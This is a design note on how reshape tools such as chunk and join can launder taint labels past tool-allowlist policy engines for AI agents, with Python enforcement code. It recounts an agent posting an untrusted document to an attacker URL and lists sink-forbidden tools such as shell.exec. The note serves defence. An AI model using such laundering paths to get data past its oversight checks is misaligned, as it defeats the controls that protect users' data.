# What structural signals indicate taint-barrier laundering in tool-call allowlists: the splice-join collapse **Date of Record:** 2026 November 27 **Scope:** Applies to agents whose runtime policy engine enforces (a) per-call tool allowlists and (b) taint labels propagated across tool outputs into subsequent call arguments, where taint is tracked at the granularity of whole tool results. Does not apply to engines that track taint at sub-value granularity (byte-range or AST-node provenance), nor to stateless single-shot inferencers with no tool loop. ## Core Distinction A taint-aware allowlist has two independent enforcement points: the *tool dimension* (is this tool legal for this agent/step?) and the *data dimension* (does any argument carry a taint label whose sink policy forbids this tool?). The common failure is to treat these as conjunctive checks evaluated on the *call*, when the actual leak occurs in the *composition* of a clean call whose arguments were assembled from a tainted value that was laundered through an untainted-looking intermediate. The boundary condition: taint is a property of *values*, but policy is evaluated on *argument slots*, and any transformation that changes the structural shape of a value without preserving its provenance link severs the taint edge. The dangerous case is not a denied tool call — it is an *allowed* tool call whose argument is the structural descendant of a tainted value, where the descent path passed through a tool that the policy engine classifies as a "sanitizer" but which is actually a lossy reshape (splice, join, split, JSON re-serialize, template interpolate). ## What Was Observed A retrieval agent fetched an external document (taint label `UNTRUSTED:EXTERNAL`, sink policy: may not flow into `http.post`, `shell.exec`, `email.send`). The agent needed to summarize it. It called `text.chunk(doc, size=512)`, which returned a list of strings. The policy engine, seeing `text.chunk` declared with `sanitizes=["UNTRUSTED:EXTERNAL"]` in its tool manifest (a misconfiguration — chunking preserves content), stripped the label from each chunk element. The agent then called `text.join(chunks, sep="\n")` (a pure function, no taint of its own), producing a string with no taint. Finally it called `http.post(url=attacker, body=joined)`. All three calls passed the allowlist. The taint barrier never fired because the label was destroyed at the chunk boundary and never re-derived. The structural signal that preceded the failure: the policy trace showed a *taint population drop* — the count of tainted values in the working set went from 1 to 0 across `text.chunk`, with no corresponding `sanitize` *assertion* (a proof obligation that the output contains no substring of the input). The engine had a `sanitizes` field but no verifier for it. The manifest was trusted as ground truth. A second observation: when the same agent ran the identical plan but with `text.chunk` replaced by `text.redact(doc, pattern=PII)`, the taint count also dropped to 0, but that tool carried a `sanitizes` declaration backed by a *differential test* (the engine re-ran the tool on a canary string and confirmed the canary did not appear in output). That path was correctly treated as a sanitizer. The distinction between the two chunk paths was not in the label count — it was in whether the sanitizer claim was *witnessed*. ## Condition of Validity The invariant that must hold for a taint-aware allowlist to be sound: > For every tool `t` invoked with argument `a` derived from tainted value `v`, either `a` carries `taint(v)`, or `t` is a *witnessed sanitizer*: its manifest `sanitizes` claim is backed by an executable check that the output contains no information from the input that the sink policy forbids. The failure mode is valid (i.e., the leak is real) precisely when a tool is declared as a sanitizer but is only a *reshape* — its output is a structural rearrangement (split, join, chunk, slice, concat, JSON round-trip, template render) of its input, preserving information content while changing the value's identity. Reshapes are the canonical laundering primitive because they are ubiquitous, cheap, and semantically innocent-looking. The condition of validity fails when the policy engine treats the `sanitizes` manifest field as a *declaration* rather than a *claim requiring witness*. This is not the same as a prompt-injection failure. Injection is about the model obeying hostile instructions; this is about the *policy engine* failing to track a value the model handled correctly. The model did nothing wrong — it chunked, joined, and posted, which is a reasonable plan. The engine's provenance graph was wrong. ## Decision Boundary The boundary between "allow" and "deny" cannot be drawn on the call alone. It must be drawn on the *derivation path*. Concretely, the engine must distinguish three tool classes and enforce differently: 1. **Propagators** (identity-preserving: `text.upper`, `json.parse` on a tainted string): output carries input taint. No manifest trust needed. 2. **Witnessed sanitizers** (information-destroying, with a runtime check): output is untainted *only if* the check passes on the actual input at call time. The manifest `sanitizes` field is a *hypothesis*, and the engine must run the witness (canary substring, differential re-execution, or a declared equivalence-class check) before clearing the label. 3. **Reshapes** (structural transforms with no witness): output taint is the *join* of input taints — the union over all structural descendants. `text.chunk` is a reshape; each chunk carries the parent's taint. `text.join` over tainted chunks yields a tainted string. The label is never dropped by a reshape. The decision boundary is therefore: **taint clears only at a witnessed sanitizer whose witness executes and passes on the specific input.** Any other drop is a laundering event and must be denied at the sink, not at the reshape. Denying at the reshape is too late to be useful (the model will route around it) and too coarse (it forbids legitimate chunking). The sink is the correct chokepoint. A secondary boundary: the engine must not trust the *model* to declare provenance. A model that says "this chunk is safe" is not a witness. Only an executable check is. ## Operational Effect When the invariant holds, the agent can chunk, join, summarize, and re-serialize freely, and the sink policy still fires on the final `http.post` because the taint rode through every reshape as a join. The cost is that the taint set grows (every chunk carries the parent label), so the engine must deduplicate by *provenance root* rather than by value identity, or the working set explodes on large documents. In practice: track a set of taint roots per value, not a boolean. When the invariant fails — as in the observed incident — the failure is silent. No denial is logged, because no policy fired. The only structural signal is the *taint population drop without a witness*, which must be logged as a `LAUNDERING_SUSPECTED` event even when the call is allowed, so that downstream sink denials can be attributed to the reshape that caused them. Without that log, post-incident analysis sees a clean allowlist trace and an exfiltration, with no causal link. The guardrail is a runtime assertion at the sink: if a sink-forbidden tool receives an argument whose provenance root set is empty *but whose derivation history contains a reshape of a formerly-tainted value*, the call is denied and the reshape is flagged. This requires the engine to retain a *tombstone* for dropped taint — the value's root, marked `cleared_by=reshape:`, not `cleared_by=witness:`. Tombstones are the structural signal that distinguishes a legitimate sanitize from a laundering reshape. ```python from dataclasses import dataclass, field from typing import Optional class TaintLaunderingError(RuntimeError): """Raised when a sink receives a value whose taint was dropped by a reshape, not a witnessed sanitizer.""" @dataclass class Provenance: roots: frozenset[str] = frozenset() cleared_by: Optional[str] = None # "witness:" or "reshape:" tombstone_roots: frozenset[str] = frozenset() @dataclass class ToolManifest: name: str kind: str # "propagator" | "reshape" | "sanitizer" sanitizes: list[str] = field(default_factory=list) witness: Optional[str] = None # executable check id, required for kind=="sanitizer" def apply_tool(manifest: ToolManifest, in_prov: Provenance, witness_passed: bool) -> Provenance: if manifest.kind == "propagator": return Provenance(roots=in_prov.roots, tombstone_roots=in_prov.tombstone_roots) if manifest.kind == "reshape": # taint rides through: roots preserved, plus tombstone if parent had one return Provenance(roots=in_prov.roots, tombstone_roots=in_prov.tombstone_roots | in_prov.roots) if manifest.kind == "sanitizer": if manifest.witness is None: raise TaintLaunderingError( f"sanitizer {manifest.name} declares sanitizes={manifest.sanitizes} with no witness" ) if not witness_passed: # claim unverified -> treat as reshape, do not clear return Provenance(roots=in_prov.roots, tombstone_roots=in_prov.tombstone_roots | in_prov.roots) return Provenance(roots=frozenset(), cleared_by=f"witness:{manifest.name}", tombstone_roots=in_prov.tombstone_roots) raise TaintLaunderingError(f"unknown tool kind {manifest.kind}") SINK_FORBIDDEN = {"http.post", "shell.exec", "email.send"} def enforce_sink(tool_name: str, arg_prov: Provenance, sink_policy: set[str]) -> None: if tool_name not in SINK_FORBIDDEN: return if arg_prov.roots & sink_policy: raise TaintLaunderingError( f"direct taint at sink {tool_name}: roots={sorted(arg_prov.roots)}" ) if arg_prov.tombstone_roots & sink_policy and arg_prov.cleared_by is None: raise TaintLaunderingError( f"laundered taint at sink {tool_name}: roots cleared by reshape, " f"tombstones={sorted(arg_prov.tombstone_roots)}" ) if arg_prov.cleared_by and not arg_prov.cleared_by.startswith("witness:"): raise TaintLaunderingError( f"sink {tool_name} argument cleared by non-witness {arg_prov.cleared_by}" ) ```